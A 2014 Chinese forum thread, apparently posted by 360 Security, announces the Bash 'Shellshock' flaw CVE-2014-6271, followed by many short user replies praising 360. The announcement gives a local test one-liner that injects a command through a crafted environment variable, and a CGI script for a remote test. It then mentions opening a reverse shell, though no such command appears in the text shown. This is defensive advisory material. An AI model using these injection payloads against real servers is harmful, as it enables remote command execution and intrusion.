Linux“Bash”漏洞大爆发 360发布漏洞检测方案

本帖最后由 360媒体看台于 2014-9-25 13:47 编辑

9月25日，国外曝出一个“毁灭级”的Bash漏洞，黑客可利用此漏洞远程执行任意命令，完全控制目标系统！

该漏洞编号为CVE-2014-6271，主要存在于bash 1.14 - 4.3版本中，受影响的系统包括：Red Hat企业Linux (versions 4-7) 、Fedora distribution、CentOS (versions 5-7)、Ubuntu 10.04 LTS,12.04LTS和14.04 LTS、Debian等。

经360安全中心分析验证，受此Bash漏洞影响最大的是网站和企业内网，以及一些路由器、VPN大型网站等网络设备。该漏洞暂未对安卓官方版本造成影响，但一些第三方Rom需要注意安全。

该漏洞可能被黑客制作成自动化攻击工具，从而针对网站、企业发动规模化攻击。由于漏洞攻击面广、影响范围大，其威胁丝毫不亚于OpenSSL心脏出血漏洞。

360安全中心已紧急发布“Bash”漏洞测试方法，同时提醒广大网站和企业及时更新服务器安全补丁，避免造成重大危险。

“Bash”漏洞测试方法

1）、本地测试

env x='() { :;}; echo vulnerable'bash -c "echo this is a test"

2）、远程测试

首先用BASH写一个CGI

root@kali:/usr/lib/cgi-bin# cat bug.sh

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo '<html>'

echo '<head>'

echo '<metahttp-equiv="Content-Type" content="text/html;charset=UTF-8">'

echo '<title>PoC</title>'

echo '</head>'

echo '<body>'

echo '<pre>'

/usr/bin/env

echo '</pre>'

echo '</body>'

echo '</html>'

exit 0

放到/usr/lib/cgi-bin里，然后用curl访问

能打印出环境变量了。说明能够正常访问了。下面反弹一个SHELL

访问看结果：

冷过程 · 发表于 2014-9-25 13:55

危险无处不在那，需要注意和防护！

360小八_2012 · 发表于 2014-9-25 14:08

一夜暴富，你可以的

huangsijun17 · 发表于 2014-9-25 16:39

最可怕的其实是出自动化攻击工具啊，这工具要是一出.......

nzcq1 · 发表于 2014-9-25 18:10

可是360产品没有Liunx版本，希望能有一个！

尹一朋 · 发表于 2014-9-25 19:37

感谢360安全中心!

{:5_143:}{:5_128:}

qiukong_com · 发表于 2014-9-25 19:57

提示: 作者被禁止或删除内容自动屏蔽

苏杨360 · 发表于 2014-9-26 00:51

听安全专家，增加防范意识。

liujinwei850 · 发表于 2014-9-26 08:07

v宝贝

hu1730145445 · 发表于 2014-9-27 09:28

{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}{:4_93:}

苏杨360 · 发表于 2014-9-28 00:29

上网就用360。安全啊。

苏杨360 · 发表于 2014-9-29 01:19

听安全专家讲课，增加防范意识。

温州—彩哥 · 发表于 2014-9-29 07:07

{:4_86:}{:4_86:}

我是谁1006 · 发表于 2014-9-29 08:32

看看，支持一下

苏杨360 · 发表于 2014-9-30 00:49

听安全专家讲课，增加防范意识。

我是谁1006 · 发表于 2014-9-30 12:38

谢谢分享！！！

yflixue · 发表于 2014-9-30 14:56

安全第一就用360

lwb30137 · 发表于 2014-9-30 15:59

黄启派 · 发表于 2014-9-30 23:24

{:4_93:}{:4_93:}{:4_93:}

yflixue · 发表于 2014-10-1 08:06

安全第一就用360

史记之未央生传 · 发表于 2014-10-1 20:45

360的方案永远第一！

苏杨360 · 发表于 2014-10-2 00:55

听安全专家讲课，增加防范意识。

yflixue · 发表于 2014-10-2 08:00

安全第一就用360

苏杨360 · 发表于 2014-10-3 00:32

听安全专家讲课，增加防范意识。

苏杨360 · 发表于 2014-10-4 01:16

安全第一就用360

也可了啊 · 发表于 2014-10-4 15:46

nzcq1 发表于 2014-9-25 18:10
可是360产品没有Liunx版本，希望能有一个！

+1

jiang19971006 · 发表于 2014-10-4 21:17

支持360.

苏杨360 · 发表于 2014-10-6 01:08

听安全专家讲课，增加防范意识。

yflixue · 发表于 2014-10-6 07:51

安全第一就用360

hu1730145445 · 发表于 2014-10-6 09:23

{:4_93:}{:4_93:}

Linux“Bash”漏洞大爆发 360发布漏洞检测方案

共 89 个关于Linux“Bash”漏洞大爆发 360发布漏洞检测方案的回复最后回复于 2014-12-17 16:05

版块推荐

最新活动

排行榜

热门推荐

内容推荐热门推荐最新主帖

扫码添加360客服号，涨知识的同时还有超多福利等你哦

qiukong_com 禁止发言粉丝: 关注: 积分: 675 精华: 金币: 经验: 最后登录 1970-1-1 私信加好友头像被屏蔽	7楼 qiukong_com 禁止发言发表于 2014-9-25 19:57 \| \| 私信提示: 作者被禁止或删除内容自动屏蔽

Linux“Bash”漏洞大爆发 360发布漏洞检测方案

共 89 个关于Linux“Bash”漏洞大爆发 360发布漏洞检测方案的回复 最后回复于 2014-12-17 16:05

版块推荐

最新活动

排行榜

热门推荐

内容推荐 热门推荐最新主帖

扫码添加360客服号，涨知识的同时还有超多福利等你哦

共 89 个关于Linux“Bash”漏洞大爆发 360发布漏洞检测方案的回复最后回复于 2014-12-17 16:05

内容推荐热门推荐最新主帖